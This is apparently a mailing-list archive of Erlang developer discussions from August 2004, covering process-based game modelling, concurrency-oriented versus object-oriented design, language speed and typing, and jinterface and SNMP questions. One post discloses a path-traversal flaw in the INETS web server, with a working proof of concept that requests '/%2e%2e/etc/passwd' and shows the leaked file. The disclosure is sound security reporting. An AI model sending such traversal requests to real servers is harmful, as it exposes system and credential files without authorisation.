> >> Modelled objects should be either static or dynamic. Here you have >> to make you mind up and not change your mind later. An object >> cannot be static then later dynamic and back to static (in this >> case it should have always been dynamic). > > This would suggest, in my case, to make almost everything dynamic from the > start. Breaking up the world into smaller pieces, the only really static > things I can see are 'faked' details about the environment. For example, a > room (dynamic) has a description and an inventory. The inventory consists of: > > 1) permanent objects that cannot be moved, but with which you can interact > (chairs to sit in, tables to put things on..), > 2) items that can be picked up and moved around, and with which you can > interact (candles to be lit, apples to be eaten..), > 3) decorative details of everyday things that can be found in rooms, but > which are not important enough to warrant spending resources on interaction - > basically you can look at them, try to get them, kick them, etc, but all you > get is a textual response (wallpaper, pictures, the crack in the wall..). > > Out of these, 1 and 2 would be dynamic and 3 could definitely be static. Of > course, that's not so bad.. because while a room might have two or three > permanent objects, and a varying number of items people drop there, it might > easily have ten to twenty details. Thus the static items will probably end up > in majority. > >> 2) If you want to build reliable software (read fault-tolerant >> software) you will need to use at least two computers (one won't >> work, 'cos if it crashes you're screwed) - If you use two or more computers >> you're into distributed concurrent programming whether you like it >> or not. > > Sort of an off-topic question I guess.. Given that client connections are > simple telnet sessions, would it be easy to make it so that with two servers, > if one crashes then the only thing that happens is you get disconnected, and > as soon as you connect to the other server again you get back into the game at > the point you dropped off? This would be nice to have.. and simple with the > round-robin behaviour of DNS, even without specialised clients. > YES - *hooray* - you're getting the idea now. Now here's the good news - if you design you application correctly the transition from the single node case to the multi-node fail-over design will be trivial. This is exactly how many application are built. I wrote a tutorial about this at: http://www.sics.se/~joe/tutorials/robust_server/robust_server.html This is a pair of servers (representing a bank) on two different machines - you do stuff on one machine, if that machine fails you go to the other one and carry on as if nothing had happened. << all you need is another trillion lines of COBOL and you've built a banking software system :-) >> Must run - It's very hot so I have to go and throw myself in a lake. Cheers /Joe > Johan > From vlad@REDACTED Wed Aug 11 17:33:10 2004 From: vlad@REDACTED (Vlad Balin) Date: Wed, 11 Aug 2004 19:33:10 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: > The important bit is that the user only sees the protocol (ie > the messages) between the application and the town process and not any > internal details of *how* the town process is implemented. > Note we are not doing OO programming here we are doing CO programming. Well, from the design point of view, you're describing OO approach in terms of Alan Key. "Objects are the base building blocks, objects has the state, objects communicate with each other using messages." See citate below. > In Concurrency Oriented (CO) programming you concentrate on the > concurrency and the messages between the processes. There is no > sharing of data. > An Erlang should be thought of thousands of little black boxes all > doing things in parallel - these black boxes can send and receive > messages. Black boxes can detect errors in other black boxes - that's > all. > At the design level of abstraction how things work internally > *inside* a black box is irrelevant - the programming language used > inside a BB be it a functional or imperative or OO or relational > language is irrelevant. _____________________________________________________________ The first Smalltalks were in the middle of the progression of designs. The objects in Smalltalk-72, for example, implemented a kind of top down recognizer that parsed the messages and responded. There were no separate methods, and each object was essentially a looping process (like a machine on the internet) waiting for a message to parse. This is very similar to where several Prolog derivatives got to later on (including Erlang). Hewitt's Actors used this idea in many interesting and important ways. - Alan Key _____________________________________________________________ > Erlang uses a simple functional language inside the BBs - this is > not particularly interesting - *any* language that does the job would > do - the important bit is the concurrency. Not only the functional language, but very _slow_ functional language, with boxed computations and dynamic typing. Also, it should be unsafe since it's not easy to check types at compile stage. If language is _really_ irrelevant, why should you recommend anyone to use slow and unsafe Erlang? This simple functional language has a number of obvious disadvantages. Why not Smalltalk, for example? :)) From rpettit@REDACTED Wed Aug 11 17:27:51 2004 From: rpettit@REDACTED (Rick Pettit) Date: Wed, 11 Aug 2004 10:27:51 -0500 Subject: port_get_data Erlang module function not found In-Reply-To: <04e401c47eff$eca541b0$1e00a8c0@design> References: <04e401c47eff$eca541b0$1e00a8c0@design> Message-ID: <20040811152751.GA8776@vailsys.com> On Tue, Aug 10, 2004 at 02:31:30PM -0300, Inswitch Solutions - Erlang Evaluation wrote: > Module inet_db has the following function used by gen_tcp:send/2 : > > lookup_socket(Socket) when port(Socket) -> > case catch erlang:port_get_data(Socket) of > Module when atom(Module) -> > {ok, Module}; > _ -> > {error, closed} > end. > > > - could someone tell me what does bif port_get_data/1 do? I have found the the Erlang src code is quite easy to read. Any time I find the documentation to be lacking (or non-existent, though this is rare) I dig in the src tree. > - where can I find a description of all erlang BIF? If you installed the man pages on your system how about: prompt> erl -man erlang -Rick From Marc.Vanwoerkom@REDACTED Wed Aug 11 17:47:30 2004 From: Marc.Vanwoerkom@REDACTED (Marc van Woerkom) Date: Wed, 11 Aug 2004 17:47:30 +0200 Subject: A useful program In-Reply-To: Message-ID: Am Wed, 11 Aug 2004 16:41:37 +0200 (CEST) hat Joe Armstrong geschrieben: Here (attached) is a very useful program The classical ones write themselves to stdout! First I stumbled over such self producing programs, when I had a look into a source distribution of gcc. Only much later, when I took a course on theoretical computer science (theory of computation, recursion theory) I got a hint, why folks write such programs. There is a selfproduction lemma, derived from the recursion theorem. It exists a number n from |N such that phi_n(x) = n, where phi is the standard enumeration of the computable functions (of one argument) phi : |N -> P^1 :-) From cyberlync@REDACTED Wed Aug 11 18:31:34 2004 From: cyberlync@REDACTED (Eric Merritt) Date: Wed, 11 Aug 2004 12:31:34 -0400 Subject: Erlang hints from an CO junkie In-Reply-To: References: Message-ID: On Wed, 11 Aug 2004 19:33:10 +0400, Vlad Balin wrote: > > Erlang uses a simple functional language inside the BBs - this is > > not particularly interesting - *any* language that does the job would > > do - the important bit is the concurrency. > > Not only the functional language, but very _slow_ functional language, > with boxed computations and dynamic typing. Also, it should be unsafe > since it's not easy to check types at compile stage. > > If language is _really_ irrelevant, why should you recommend anyone to use > slow and unsafe Erlang? This simple functional language has a number > of obvious disadvantages. Why not Smalltalk, for example? :)) Lets not get into the static vs dynamic typing argument. One of the reason's I like erlang is its dynamic typing. As for the slowness, are you sure that the slowness is inherent in the erlang functional langauge area? It could just as easily be a side effect of concurrency (at least in the beam vm). Erlang has its warts, but dynamic typing and a functional bent are not among them. > > -- Any sufficiently complicated C or Fortran program contains an ad-hoc, informally-specified, bug-ridden, slow implementation of half of Lisp From vlad_dumitrescu@REDACTED Wed Aug 11 20:28:33 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Wed, 11 Aug 2004 20:28:33 +0200 Subject: tracing jinterface Message-ID: Hi, I'm baffled by a seemingly simple problem: how do I let jinterface print a trace for the connections' traffic? The way I used to do it (quite a while ago) was to start Java with a "-DOtpConnection.trace=3" option - now it seems it doesn't work?! Any ideas, anyone? The original problem that I'm trying to track down is that my Java node connects fine with an Erlang node (I can ping), but any messages sent are just vanishing on the way. It worked this morning, and I don't think any changes I made to the code have something to do with it. Obviously, they do :-) BTW - the R9C-2 installer for Windows doesn't include the jinterface jar, just the docs. regards, Vlad From jamesh@REDACTED Wed Aug 11 21:14:49 2004 From: jamesh@REDACTED (James Hague) Date: Wed, 11 Aug 2004 14:14:49 -0500 Subject: Erlang hints from an CO junkie Message-ID: Vlad Balin wrote: >Not only the functional language, but very >_slow_ functional language, with boxed >computations and dynamic typing. It depends what you are benchmarking against. If you're looking at popular, rapid development languages like Python, Ruby, and Perl, then Erlang is generally much faster across the board. Only Lua is in the same ballpark. I'm not talking about specific benchmarks that involve things like regular expressions--which just call out to a C library--but arbitrary algorithms and data manipulation. In fact, I'd say that the standard Erlang distribution is the fastest implementation of a dynamically typed, interpreted language that I've seen. It's fast enough that I don't care about performance for most applications. If you're looking at implementations of statically-typed functional languages that compile to machine code, well, yeah, Erlang is quite a lot slower. But I'm not willing to give up quick compile times, an interactive top-level, the ability to recompile and reload individual modules into a running program, and a very malleable way of developing programs, in exchange for more speed, even 50-100x more speed. After all, look at how many large projects are now written in *slower* languages like Python and Ruby. Mr. Moore is your friend here. That said, I've still enjoyed the incremental speed improvements from the Erlang team. Getting the language right first and then speeding it up is the correct way to do things. From vlad_dumitrescu@REDACTED Wed Aug 11 21:05:43 2004 From: vlad_dumitrescu@REDACTED (Vlad Dumitrescu) Date: Wed, 11 Aug 2004 21:05:43 +0200 Subject: tracing jinterface References: Message-ID: Ouch, isn't it typical to find the answer just after sending the question? It was a silly refactoring problem: a name change made the messages go to the wrong node... Silly me... Sorry for taking your time. /Vlad From thomasl_erlang@REDACTED Wed Aug 11 21:18:04 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Wed, 11 Aug 2004 12:18:04 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040811191805.17240.qmail@web41901.mail.yahoo.com> --- Vlad Balin wrote: > Not only the functional language, but very _slow_ > functional language, > with boxed computations and dynamic typing. Also, it > should be unsafe > since it's not easy to check types at compile stage. Oh ho, a bit of trolling! Well, I'll bite. Erlang seems plenty fast enough for me, for most practical purposes. It even unboxes some computations (have a look at the innards of HIPE). So ... on what do you base your opinion? And safety? "Strong types are for weak minds." :-) Well, at least you ought to know that dynamic typing has shown itself to be a very safe and successful practice. Read Ulf Wiger's paper, for instance. "Four-fold increase in productivity and quality ..." Sorry Vlad. That dawg won't hunt. Cheers, Thomas __________________________________ Do you Yahoo!? New and Improved Yahoo! Mail - 100MB free storage! http://promotions.yahoo.com/new_mail From thomasl_erlang@REDACTED Wed Aug 11 21:41:46 2004 From: thomasl_erlang@REDACTED (Thomas Lindgren) Date: Wed, 11 Aug 2004 12:41:46 -0700 (PDT) Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: <20040811194146.62291.qmail@web41903.mail.yahoo.com> --- Joe Armstrong wrote: > Well the first ever Erlang was a prolog > meta-interpretor to extend > Prolog with concurrent processes. > > This approach became problematic since you > needed to avoid > backtracking after you had sent a message. > > We didn't really want backtracking to "unsend > messages" etc. and so > we arrived at a Prolog without backtracking and > things drifted off > towards a more functional view of the world. For the record, let me state that I think having a mostly-pure functional language inside the processes is a brilliant choice. However, let me also note that avoiding the "unsending" problem in Prolog has since been solved: just don't permit sends when the sender is nondeterministic. Lee Naish proposed "binding determinism" in PNU-Prolog for this, and we used the concept in Reform Prolog later on. (The approach of handling "unsend" directly has also been solved, see Kish Shen's DASWAM for example. It's a wee bit hairier, though.) Best, Thomas _______________________________ Do you Yahoo!? Express yourself with Y! Messenger! Free. Download now. http://messenger.yahoo.com From matthias@REDACTED Wed Aug 11 22:30:51 2004 From: matthias@REDACTED (Matthias Lang) Date: Wed, 11 Aug 2004 22:30:51 +0200 Subject: INETS security hole (you can escape from the document root) Message-ID: <16666.33275.487924.830648@antilipe.corelatus.se> Hi, INETS, the HTTP server included in the OTP (R9C-1, but probably all versions) has a security hole. URLs are not properly scrutinised for relative paths. A malicious user can exploit this to read files outside the document root. Example: ~ >cd /tmp tmp >mkdir logs tmp >ln -s . conf tmp >cat > httpd.conf Port 8888 ServerName antilipe.corelatus.com SocketType ip_comm Modules mod_get ServerRoot /tmp DocumentRoot /tmp tmp >erl Erlang (BEAM) emulator version 5.3.6.2 [source] [hipe] Eshell V5.3.6.2 (abort with ^G) 1> httpd:start("/tmp/httpd.conf"). {ok,<0.42.0>} 2> {ok, S} = gen_tcp:connect("localhost", 8888, []). {ok,#Port<0.101>} 3> 3> gen_tcp:send(S, "GET /%2e%2e/etc/passwd HTTP/1.0\r\n\r\n"). ok 4> flush(). Shell got {tcp,#Port<0.101>, "HTTP/1.1 200 OK .... root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh ... The problem is in httpd_parse:verify_request. That function is supposed to reject URLs with '..' in them, but it fails to reject those cases where the '..' is encoded fully or partially in hex. But httpd_parse:verify_request seems broken by design. For instance, it also rejects URLs which don't actually involve relative directories, such as /bla..ha As far as I can tell, RFC1738 allows '..' in HTTP URLs. Does anyone feel familar with that code? Johan? Matthias From cpressey@REDACTED Wed Aug 11 23:44:13 2004 From: cpressey@REDACTED (Chris Pressey) Date: Wed, 11 Aug 2004 14:44:13 -0700 Subject: Erlang hints for an OO junkie In-Reply-To: <20040811070521.M64781@snowflake.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> Message-ID: <20040811144413.62cca0a0.cpressey@catseye.mine.nu> On Wed, 11 Aug 2004 09:30:54 +0200 "Johan Warlander" wrote: > On Tue, 10 Aug 2004 13:45:30 -0700, Chris Pressey wrote > > My two cents: > > > > If it's "animate", if it has "dynamic behaviour", if it "moves" - > > model it as a process. If it isn't/hasn't/doesn't - model it as a > > record (or a dictionary.) > > > > So: people, motorcycles, windmills, radios, thunderstorms, etc are > > processes. Sandwiches, taverns, tables, mountains, etc are records. > > Okay, here's the catch - it's certainly as you say above, that the > first set of objects have dynamic behaviour, while the second set > ordinarily do not.. however, these things are not so static. A dead > person doesn't move, while an enchanted sandwich might very well fly > around flapping its lettuce, and for a more down-to-earth example, if > you leave the sandwich on the table for a week or two it'll definitely > gain some dynamic behaviour. Indeed - if things can go from being static to dynamic and back again, then in the big picture they're dynamic :) > The thing is that you can seldomly rely on anything at all to be > non-dynamic in a game. However, one thought I had was if perhaps the > objects/items as such- even persons and windmills - should be indeed > records, and the behaviours themselves be the processes, attaching to > the appropriate record. This works too. Each record can have a field for its "animacy", which might be a process or might be absent. What this appears to be leading towards is modelling everything as partly static, partly dynamic. > For example, a player logging in would cause his in-game body to be > loaded and instantiated in the game as a record, but his connection to > the game (that which allows him to issue commands to be parsed and > executed) would be a process, attached to the body. Similarly, if > someone casts an enchantment on a sandwich (for whatever devilish > purposes), that enchantment would be the process, and it would attach > to the sandwich. > > I don't know if this would solve all of these issues (or indeed any of > them), but it seems to me like one possible way. One thing you might want to look at (although you probably already have considering where you're coming from with this project) is the Inform language and how it handles "daemons" on objects. Inform is sorely limited by the Z-machine; much, much better could be done in Erlang. > > That said, you could very well model everything as processes, and > > have messages propogate from people to rooms back to people, and > > such. This may be a more elegant way to address the problem in some > > > > ways, but in my mind it's not sufficiently more elegant to warrant > > doing it. You can have a *lot* of processes in Erlang, but even so, > > > > the more conservative you are with them, the more efficient the > > result. If you model everything as a process you might be able to > > have 50K rooms, 50K items, 50K animals and 50K players; but if you > > only model "animate" things as processes you'll be able to have 100K > > > > animals, 100K players, and who knows how many rooms and items :) > > Well, either way would work for me as I'm not aiming to build a > massively multi-player game; rather, my intended audience if this ever > turns into a playable game would be somewhere around 40-150 people I > think.. with the possibility of handing a few hundred, but absolutely > not numbers in the thousands. The game world as well will probably not > ever grow too far beyond a few thousand rooms, as I'd rather have 500 > great rooms than 5000 average ones. > > In short, performance -shouldn't- turn out to be the deciding factor.. > I'd be more inclined to value simplicity / beauty of implementation > (whatever this turns out to mean in Erlang), since those factors tend > to add a lot to the maintainability of code. If the implementation limits are no limit to your project, then by all means, model everything as a process. If nothing else, this is far more valuable from the standpoint of how much appreciation of it you can gain by doing it. Usually more entertaining, too :) Going back to the speak/listen example, this changes things just enough to be interesting enough to mention. Here's a short brain dump: When an actor tries to move into a room, a message is sent to the room telling it that the actor wants to come in. If the room allows this, it sends a return message back to the actor telling them they were allowed in, and both processes update their internal state to reflect the new position of the actor. When an actor speaks, a message is sent to the room they are currently in. Each room keeps track of all the actors in it, so it relays each of them the same message. If the message was "loud", perhaps the room sends it to all adjacent rooms as well. Unlike the find_listeners() function of my previous post, this isn't really a recursive solution, which may have some good ramifications for performance (a single process isn't blocked doing a traversal; instead, all the processes involved in the traversal share the load.) Also, to go back to the subject of OO, it demonstrates a technique (delegating) that can be thought of the parallel of inheritance in a purely message-oriented system. Instead of X IS-A Y, you have something more like X RELAYS-TO Y. This is much more flexible, but since it's correspondingly easier for it to go haywire too, it's likely that it should be used even more conservatively/wisely than inheritance should be used in OO systems. -Chris From johan@REDACTED Thu Aug 12 06:34:09 2004 From: johan@REDACTED (Johan Warlander) Date: Thu, 12 Aug 2004 06:34:09 +0200 Subject: Erlang hints for an OO junkie In-Reply-To: <20040811144413.62cca0a0.cpressey@catseye.mine.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> <20040811144413.62cca0a0.cpressey@catseye.mine.nu> Message-ID: <20040812041702.M71913@snowflake.nu> On Wed, 11 Aug 2004 14:44:13 -0700, Chris Pressey wrote > > The thing is that you can seldomly rely on anything at all to be > > non-dynamic in a game. However, one thought I had was if perhaps the > > objects/items as such- even persons and windmills - should be indeed > > records, and the behaviours themselves be the processes, attaching to > > the appropriate record. > > This works too. Each record can have a field for its "animacy", > which might be a process or might be absent. What this appears to > be leading towards is modelling everything as partly static, partly dynamic. Yes, exactly -- that would be one approach at least, and how well it fits for my purposes? Don't know yet, but hopefully it'll become more apparent after some experimentation. > One thing you might want to look at (although you probably already have > considering where you're coming from with this project) is the Inform > language and how it handles "daemons" on objects. Inform is sorely > limited by the Z-machine; much, much better could be done in Erlang. Actually, I haven't looked at Inform -- an I probably should, so I'll dig around a little and see what I come up with. > When an actor tries to move into a room, a message is sent to the > room telling it that the actor wants to come in. If the room allows > this, it sends a return message back to the actor telling them they > were allowed in, and both processes update their internal state to > reflect the new position of the actor. Exactly -- and eventually I'll need to address persistency; in this particular case, I'd want the actor to save it's state as far as what room it's in, but I wouldn't want the room to save it's state regarding what actors are in it. Oh well.. getting ahead of myself here, but it's always interesting to get a better idea of what the 'big picture' is going to look like :) > When an actor speaks, a message is sent to the room they are > currently in. Each room keeps track of all the actors in it, so it > relays each of them the same message. If the message was "loud", > perhaps the room sends it to all adjacent rooms as well. Yup, and each container might filter the message as it passes through - if someone's hiding in the closet, some words might come out garbled, and if the door to the next room is closed, you might need to listen at the door to hear anything. > > Unlike the find_listeners() function of my previous post, this isn't > really a recursive solution, which may have some good ramifications for > performance (a single process isn't blocked doing a traversal; > instead, all the processes involved in the traversal share the load.) That is true. I didn't even consider that, coming from a background of writing these games in a strongly sequential manner.. Either way I'd have done it in one of those languages / environments would've resulted in the same 'lag' in performance :) I can say though, that I'm happy I didn't seriously consider concurrency before I ran into Erlang, as that would've meant threads, and they've always looked nasty to me for various reasons highlighted here ;) > Also, to go back to the subject of OO, it demonstrates a technique > (delegating) that can be thought of the parallel of inheritance in > a purely message-oriented system. Instead of X IS-A Y, you have > something more like X RELAYS-TO Y. This is much more flexible, but > since it's correspondingly easier for it to go haywire too, it's likely > that it should be used even more conservatively/wisely than inheritance > should be used in OO systems. Hmm.. I'm not sure if I see the parallel so clearly, but I might be missing something - and it does seem a little more dynamic to me, as a recipient doesn't have to pay attention to the message, or even know about it (as long as message queues are properly flushed). Johan From cpressey@REDACTED Thu Aug 12 08:19:10 2004 From: cpressey@REDACTED (Chris Pressey) Date: Wed, 11 Aug 2004 23:19:10 -0700 Subject: Erlang hints for an OO junkie In-Reply-To: <20040812041702.M71913@snowflake.nu> References: <20040810180302.GE23102@penne.localnet> <20040810191252.M19656@snowflake.nu> <20040810134530.6643f3f9.cpressey@catseye.mine.nu> <20040811070521.M64781@snowflake.nu> <20040811144413.62cca0a0.cpressey@catseye.mine.nu> <20040812041702.M71913@snowflake.nu> Message-ID: <20040811231910.0634600a.cpressey@catseye.mine.nu> On Thu, 12 Aug 2004 06:34:09 +0200 "Johan Warlander" wrote: > On Wed, 11 Aug 2004 14:44:13 -0700, Chris Pressey wrote > > > The thing is that you can seldomly rely on anything at all to be > > > non-dynamic in a game. However, one thought I had was if perhaps > > > the objects/items as such- even persons and windmills - should be > > > indeed records, and the behaviours themselves be the processes, > > > attaching to the appropriate record. > > > > This works too. Each record can have a field for its "animacy", > > which might be a process or might be absent. What this appears to > > be leading towards is modelling everything as partly static, partly > > dynamic. > > Yes, exactly -- that would be one approach at least, and how well it > fits for my purposes? Don't know yet, but hopefully it'll become more > apparent after some experimentation. Actually, I'm now guessing it'll work nicely. All your accessor functions can take a record. They look at the "process" field, if it's a valid pid, they message the process for information and wait for the reply. If it's the atom "undefined", they look at the other fields in the record instead. "Animating" an object would involve simply taking its record from the database, starting a process for it, giving the process a copy of the record for its internal state, then writing the pid of the process back into record in the database. "De-animating" it would be just the reverse: killing the process and putting its internal state back into the database record (with no more pid.) > > When an actor speaks, a message is sent to the room they are > > currently in. Each room keeps track of all the actors in it, so it > > relays each of them the same message. If the message was "loud", > > perhaps the room sends it to all adjacent rooms as well. > > Yup, and each container might filter the message as it passes through > - if someone's hiding in the closet, some words might come out > garbled, and if the door to the next room is closed, you might need to > listen at the door to hear anything. I hadn't considered those sort of things, but yes, they're the sorts of things that would be fairly messy with the recursive search method. > > Also, to go back to the subject of OO, it demonstrates a technique > > (delegating) that can be thought of the parallel of inheritance in > > a purely message-oriented system. Instead of X IS-A Y, you have > > something more like X RELAYS-TO Y. This is much more flexible, but > > since it's correspondingly easier for it to go haywire too, it's > > likely that it should be used even more conservatively/wisely than > > inheritance should be used in OO systems. > > Hmm.. I'm not sure if I see the parallel so clearly, but I might be > missing something - and it does seem a little more dynamic to me, as a > recipient doesn't have to pay attention to the message, or even know > about it (as long as message queues are properly flushed). The parallel is admittedly, um, strained :) I'm thinking along the lines of, what if you had to implement inheritance but you only had messages and processes to do it with? Why, you'd have a Cat process, and a Mammal process, and an Animal process, and any message Cat receives that it doesn't understand, it sends off to Mammal and waits for a reply which it sends back to whoever asked it in the first place - ditto Mammal and Animal. Of course, these are instances, not classes, so if Mammal contained any state, you'd need one Mammal process for each Cat process and so on. Definately not a model you want to use in production code; I just think it's interesting to think about the possibilities... e.g. could you have two processes with each being the delegate of the other? Would multiple delegation have any benefits over multiple inheritance? etc etc :) -Chris From joe@REDACTED Thu Aug 12 10:33:11 2004 From: joe@REDACTED (Joe Armstrong) Date: Thu, 12 Aug 2004 10:33:11 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: References: Message-ID: On Wed, 11 Aug 2004, Vlad Balin wrote: >> The important bit is that the user only sees the protocol (ie >> the messages) between the application and the town process and not any >> internal details of *how* the town process is implemented. > >> Note we are not doing OO programming here we are doing CO programming. > Well, from the design point of view, you're describing OO approach in terms > of Alan Key. > "Objects are the base building blocks, objects has the state, objects > communicate > with each other using messages." See citate below. I don't really understand this kind of statement. 1) In OO design you must identify the different objects involved 2) In CO design you must identify the different concurrency patterns involved 1) in not the same as 2) I also dislike this "everything is an object" way of thinking. Saying "Objects are the base building blocks, objects have state, objects communicate with each other using messages." is weird to me. How can a string have state? How can you send a message to a string? The string "joe" is just a constant data structure. It has no state and you can't send it a message. Take integers, for example, how can the integer 42 have state? How can you send it a message? Some OO text say that 42 + 10 should be interpreted as meaning "send a + message, with argument 10 to the 42 object" I have always thought that this was the height of daftness. As for the idea of bundling together data structures and methods into the same unit of abstract and calling this an object is even sillier. In my way of thinking we can model things using the following things. a) Pure data structures (described by types) b) Pure functions which transform data structures into different data structures c) Processes. Processes are little virtual machines. They have state (state is just some class (a) data). You can send them messages (messages are class (a) data structures). They might respond with messages. They are independent - if they crash no other processes should be affected. Data structures (a's), functions (b's) and processes (c's) are all fundamentally different types of things - they should not be mangled together and called objects. Design is "making you mind up" - how do I model my problem into a's, b's and c's?. ... > >> In Concurrency Oriented (CO) programming you concentrate on the >> concurrency and the messages between the processes. There is no >> sharing of data. > >> An Erlang should be thought of thousands of little black boxes all >> doing things in parallel - these black boxes can send and receive >> messages. Black boxes can detect errors in other black boxes - that's >> all. > >> At the design level of abstraction how things work internally >> *inside* a black box is irrelevant - the programming language used >> inside a BB be it a functional or imperative or OO or relational >> language is irrelevant. > _____________________________________________________________ > The first Smalltalks were in the middle of the progression of > designs. The objects in Smalltalk-72, for example, implemented a kind > of top down recognizer that parsed the messages and responded. There > were no separate methods, and each object was essentially a looping > process (like a machine on the internet) waiting for a message to > parse. > > This is very similar to where several Prolog derivatives got to later > on (including Erlang). Hewitt's Actors used this idea in many > interesting and important ways. > - Alan Key > _____________________________________________________________ > >> Erlang uses a simple functional language inside the BBs - this is >> not particularly interesting - *any* language that does the job would >> do - the important bit is the concurrency. > > Not only the functional language, but very _slow_ functional language, > with boxed computations and dynamic typing. Also, it should be unsafe > since it's not easy to check types at compile stage. > But it is not slow - where did you get this strange idea from? This entirely depends upon the benchmark you choose. Here are a few benchmarks where I guess Erlang would win 1) - Create 100,000 processes. Make them into a ring. send a message round the ring 120 times. Kill all the processes 2) - Do 1) on a cluster of 100 machines putting 1000 processes on each machine Let 10% of the machines crash at random. Make the other machine recognise the crashes and reconstruct the ring 3) - Take two machines. One machine one perform a computation. Let a client accesses machine one. If machine one crashes then the client should failover to machine two and not notice that machine one has crashed << My guess is that not only would Erlang win, but also things like 1) would be *impossibly* to write in many other languages >> Take a look at http://www.sics.se/~joe/apachevsyaws.html to see how Erlang shapes up against C (This is Apache vs. yaws - yaws is written in Erlang - yaws totally outperform apache in the non-trivial problem domain (ie when the machines are heavily overloaded) - in the trivial domain (lightly loaded machines) the performance is identical. > If language is _really_ irrelevant, why should you recommend anyone to use > slow and unsafe Erlang? This simple functional language has a number > of obvious disadvantages. Why not Smalltalk, for example? :)) > You have misunderstood - the important thing about Erlang is how it handles concurrency and errors. The language in which sequential computations are performed is less important (perhaps irrelevant was overstating this) - the idea I want to get over is that Erlang is good because of the way it handles concurrency and errors - NOT because it's a good functional language. Erlang is not unsafe - where did you get this idea from? It's impossible to corrupt memory. If processes do something silly (like dividing by zero) there are two orthogonal methods to trap the error and deal with it (catch .. throw) and process links. If the two inbuilt mechanism fail - the OTP supervision trees will take over. And if the *entire* computer crashes neighbouring nodes (if you're running distributed Erlang can detect and correct the errors) Erlang was designed for building fault-tolerant systems. The Ericsson AXD301 has >2 Millions lines of Erlang code, and 99.9999999% reliability. This might be the most reliable product ever built by Ericsson. What are the "obvious disadvantages" ???? Why not Smalltalk? - what happens if the computer on which a smalltalk system is running crashes? - can other smalltalk systems running on other nodes detect this and handle the error? Can this be done in the language itself? << aside in districted Erlang Pid = spawn_link(Node, Fun) (or whatever) Creates a remote process on Node. If the entire machine crashes you get a exit signal from Pid. This is defined in the language and is not dependent upon the underlying OS>> Why would I recommend Erlang? Firstly, I might not recommend Erlang, this would depend upon the problem. But if the problem were appropriate then I'd say: Because it works. Because it's easy to learn, because there is a rock solid implementation.... Because you can make big industrial scale products using the technology. Cheers /Joe From joe@REDACTED Thu Aug 12 10:42:56 2004 From: joe@REDACTED (Joe Armstrong) Date: Thu, 12 Aug 2004 10:42:56 +0200 (CEST) Subject: Erlang hints from an CO junkie In-Reply-To: <20040811191805.17240.qmail@web41901.mail.yahoo.com> References: <20040811191805.17240.qmail@web41901.mail.yahoo.com> Message-ID: > And safety? "Strong types are for weak minds." :-) ... we don't have difficulty with "typing" in real life -- it is rare to pop the dog in the oven or take a pizza for a walk ... - Chris Uppal /Joe From vlad@REDACTED Thu Aug 12 12:57:18 2004 From: vlad@REDACTED (Vlad Balin) Date: Thu, 12 Aug 2004 14:57:18 +0400 Subject: Erlang hints from an CO junkie In-Reply-To: Message-ID: > > Well, from the design point of view, you're describing OO > approach in terms > > of Alan Key. > > "Objects are the base building blocks, objects has the state, objects > > communicate > > with each other using messages." See citate below. > > I don't really understand this kind of statement. > > 1) In OO design you must identify the different objects involved > 2) In CO design you must identify the different concurrency > patterns involved > > 1) in not the same as 2) On a high level of your design you use processes as a unit of encapsulation. Just substitute 'object' with 'process'. What about concurrency, the semantic of 'objects' according to Key imply concurrent message processing. Key even use the 'protocol' term to describe an object interface - very close to the things you're saying. Differens is only in terms. Your explanation implies that there's no difference between object and process. To illustrate the difference, you could provide an example when 'concurrency pattern' is _not_ the unit of encapsulation, but you clearly stated that it always _is_. > I also dislike this "everything is an object" way of thinking. I also dislike this way of thinking. But this is an ideology of Smalltalk only. You obviously don't have to make everything an object to use OO paradigm. > As for the idea of bundling together data structures and methods into > the same unit of abstract and calling this an object is even sillier. I can't understand it. Could comment more on this? First, you just suggested to do so when using processes as encapsulation units, which are accessiblie via the defined protocol only, and implementation (with underlying data structures) is hidden. Sending message is almost equivalent to calling a method. Second, you (I guess) consider using of Erlang behaviours as good practice. This is another example of abstract data types application. And third, Erlang standard library contains a lot of examples of binding 'methods' and 'structures' together. queue, gbtree, sets, etc. It's normal to access wierd data structures like Okasaki's queue throung the abstract function's interface, cause it'll simplify the things. You disagree? > In my way of thinking we can model things using the following > things. > > a) Pure data structures (described by types) > b) Pure functions which transform data structures into different > data structures > c) Processes. Processes are little virtual machines. They have state > (state is just some class (a) data). You can send them > messages (messages > are class (a) data structures). They might respond with messages. > They are independent - if they crash no other processes should be > affected. Ok. > Data structures (a's), functions (b's) and processes (c's) are all > fundamentally different types of things - they should not be mangled > together and called objects. Ok, we'll never call them 'objects' :). Does it change anything? An idea behind 'objects' is to hide an implementation details upon an abstract interface of a set of functions (messaging protocol). That's exactly what _you_ do when you 1) Define interface to Okasaki Queue using (b) class thing (pure functions). 2) Create an abstraction of a City using (c) class thing (process). You also mentioned that City process can spawn 1000 processes to model houses. Fine, you can think of them (I know you'll consider it wierd :), but...) as 'aggregated objects(processes)', since they are not visible to the user of the City process. What you did? You created an abstraction for City, with implementation details hidden; _this_ is called object, or 'abstract data type' instance, or whatever you like. P. S.: Our messages tends to be quite long, :) so I'm going to answer to the second part later. Sincerely yours, Vlad Balin. From dietmar@REDACTED Thu Aug 12 14:12:09 2004 From: dietmar@REDACTED (Dietmar =?ISO-8859-1?Q?Sch=E4fer?=) Date: Thu, 12 Aug 2004 14:12:09 +0200 Subject: SNMP stuff Message-ID: <1092312729.17064.267.camel@wks2.4dp.dfs.de> Hi ! Some (much) more questions concerning SNMP and Erlang. I have a MIB (V1) containing a variable mibversion type DisplayString I made a mnesia table -record(all_mib_variables,{mibversion}). I wrote a .funcs file {all_mib_variables,{instrumentation,mibversion,[]}}. And I wrote an instrumentation function instrumentation.erl mibversion(get) -> Version = "Version-0-1", {value,Version}. just to see what happens. 